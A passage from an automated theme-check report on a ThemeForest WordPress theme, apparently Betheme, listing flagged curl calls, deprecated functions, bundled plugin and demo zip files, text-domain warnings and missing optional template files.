    The theme appears to use include or require : back.php
    Line 77: require_once( $MFN_Options->dir.'fields/'.$field['type'].'/field_'.$field['
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-mfn-tgmpa.php
    Line 46: include_once 'class-tgm-plugin-activation.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

31
Critical alerts
  1. Malware : Network operations curl_init was found in the file functions.php
    Line 78: $ch = curl_init();
    curl_exec was found in the file functions.php
    Line 84: $data = curl_exec($ch);
  2. Deprecated functions : get_option get_option( 'home' ) was found in the file class-mfn-status.php. Use home_url() instead.
    Line 75: 'home'						=> get_option( 'home' ),
  3. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was layerslider.zip revslider.zip duplicate-post.zip force-regenerate-thumbnails.zip js_composer.zip contact-form-7.zip product.zip navigation.zip tiles2-content.zip tiles2.zip minimal2.zip church2.zip hiphop.zip hotel3.zip clothing-content.zip clothing.zip universe.zip vegetables.zip cafe2.zip company3.zip pizza3.zip music2.zip accountant2.zip resort.zip coffee2.zip webdeveloper.zip cryptocurrency.zip language2.zip adventure.zip mechanic3.zip company.zip garden3.zip employment.zip watchmaker.zip developer3.zip actor.zip accountant3.zip fantasy.zip interior3.zip gsmservice.zip robotics.zip artist2.zip salmon.zip gym2.zip internet.zip airport.zip yoga2.zip snowpark.zip mockup.zip photography.zip carpenter2.zip dietitian2.zip carwash.zip meat.zip hairdresser.zip ecobeef.zip vet2.zip lawyer3.zip eco2.zip meeting.zip bar2.zip architect3.zip farm.zip manicure.zip denim.zip detailing2.zip winter.zip wanderer.zip security2.zip event2.zip drawing.zip search-form-hero.zip news-video.zip flickr-gallery.zip contenttabs.zip mainfeature.zip youtube-gallery.zip facebook-feed.zip youtubehero.zip highlight-showcase.zip vimeo-gallery.zip news-gallery-post-based.zip insta-gallery.zip vimeohero.zip newsletter-hero.zip showcasecarousel.zip classicslider.zip classic-carousel.zip twitter-feed.zip sportshero.zip news-hero.zip news-gallery.zip preset.zip highlight-carousel.zip fireplace.zip minimal.zip barber2.zip game.zip carrental.zip seo2.zip garden-content.zip driving.zip journalist.zip watch.zip biker.zip pr.zip university.zip furniture2.zip shoes.zip burger.zip loans2.zip spa2.zip tattoo-content.zip sitter.zip webmaster.zip moto.zip wallet.zip interior2.zip energy.zip science.zip musician.zip digital.zip beauty.zip repair.zip space.zip dj.zip library.zip interior.zip icecream.zip artist.zip charity2.zip app2.zip craftbeer.zip eco.zip boutique-content.zip cleaner.zip fix.zip jet.zip flower.zip writer.zip plumber.zip tailor.zip renovate.zip couturier-box2.zip sushi2.zip weddingvideos.zip itservice.zip boutique.zip hr.zip business.zip profile.zip travel.zip media.zip billiard.zip hotel2.zip oculist.zip language.zip restaurant2.zip glasses.zip surfing.zip steak.zip clinic2.zip restaurant2-content.zip adagency-content.zip smarthome.zip extreme.zip builder.zip smart.zip cafe.zip lawyer.zip xmas.zip spa.zip developer.zip agro.zip ski.zip splash.zip estate.zip bikerental.zip fit.zip detailing-content.zip congress.zip productions.zip portfolio.zip party.zip event.zip records.zip perfume.zip design2.zip investment-content.zip fitness-content.zip pizza.zip aquapark.zip asg.zip carpenter.zip vet.zip factory.zip video.zip stone.zip tiles.zip electric.zip vpn.zip corporation.zip creative2.zip holding.zip moving.zip callcenter.zip handyman.zip theme.zip fitness.zip detailing.zip security.zip cosmetics2.zip cosmetics1.zip app.zip pageshop.zip homepage.zip garden2.zip moving2.zip herbal.zip horse.zip agency2.zip press.zip logistics.zip hosting.zip shop.zip seo.zip yoga.zip developer2.zip webdesign.zip handmade.zip barber.zip print.zip animals.zip assistance.zip coffee.zip wedding2.zip wildlife.zip interactive.zip school.zip theater.zip profile-portfolio.zip surveyor.zip clinic2-content.zip tuning.zip politics.zip underwater.zip dentist.zip hotel.zip pr-content.zip lab.zip coaching.zip ngo.zip club.zip massage.zip business2.zip bar-content.zip dentist2.zip carver.zip elearning.zip sportsclub.zip tattoo.zip landing.zip couturier-box1.zip buddy.zip it.zip biolab-content.zip wedding.zip movie.zip medic2.zip animalshelter.zip technics.zip architect2.zip restaurant.zip bistro.zip software.zip farmer.zip onepage-content.zip karting.zip sport.zip music.zip sushi.zip cosmetics3.zip pharmacy.zip pole.zip transport.zip translator.zip accountant.zip blog.zip architect.zip story.zip church.zip security-content.zip mechanic2.zip tourist.zip transfer.zip constructor.zip medic.zip mining.zip store.zip onepage.zip photo.zip mechanic.zip adagency.zip baker.zip lawyer2.zip decor.zip makeup.zip car.zip biolab-content2.zip tea.zip elearning-content.zip model.zip kindergarten.zip renovate2.zip museum.zip bar.zip toy.zip copywriter.zip recipes.zip wine.zip casino.zip retouch.zip investment.zip jeweler.zip agency.zip 3d.zip spa-content.zip active.zip garden-content2.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is %d8%a8%db%8c-%d8%aa%d9%85.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments in file header.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are mfn-opts, nhp-opts, betheme, bbpress, woocommerce, js_composer, tgmpa, wordpress-importer.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  5. Unwanted files : hidden file(s) or folder(s).ds_store was found.
  6. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file style.css.
  7. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  8. Date and time implementation : Use of the_date()At least one hard coded date was found in the file content-single-portfolio.php. Function get_option( 'date_format' ) should be used instead.At least one hard coded date was found in the file single-download.php. Function get_option( 'date_format' ) should be used instead.
  9. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  5. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  8. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  9. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  10. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  11. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  12. Use of includes : Use of include or requireThe theme appears to use include or require : theme-options.php
    Line 10: require_once( dirname( __FILE__ ) . '/fonts.php' );
    Line 11: require_once( dirname( __FILE__ ) . '/options.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : options.php
    Line 199: require_once($this->dir.'fields/'.$field['type'].'/field_'.$field['type'].'
    Line 401: require_once( $this->dir .'validation/'. $field[ 'validate' ] .'/validation
    Line 711: require_once( $this->dir .'fields/'. $field['type'] .'/field_'. $field['typ
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-side-slide.php
    Line 215: get_template_part( 'includes/include', 'social' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-top-bar-right.php
    Line 55: get_template_part( 'includes/include', 'wpml' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-creative.php
    Line 24: get_template_part( 'includes/include', 'social' );
    Line 39: <?php get_template_part( 'includes/include', 'logo' ); ?>
    Line 86: <?php get_template_part( 'includes/include', 'social' ); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-top-area.php
    Line 29: get_template_part( 'includes/include', 'social' );						
    Line 66: <?php get_template_part( 'includes/include', 'logo' ); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : footer.php
    Line 126: get_template_part( 'includes/include', 'social' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : back.php
    Line 77: require_once( $MFN_Options->dir.'fields/'.$field['type'].'/field_'.$field['
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-mfn-tgmpa.php
    Line 46: include_once 'class-tgm-plugin-activation.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes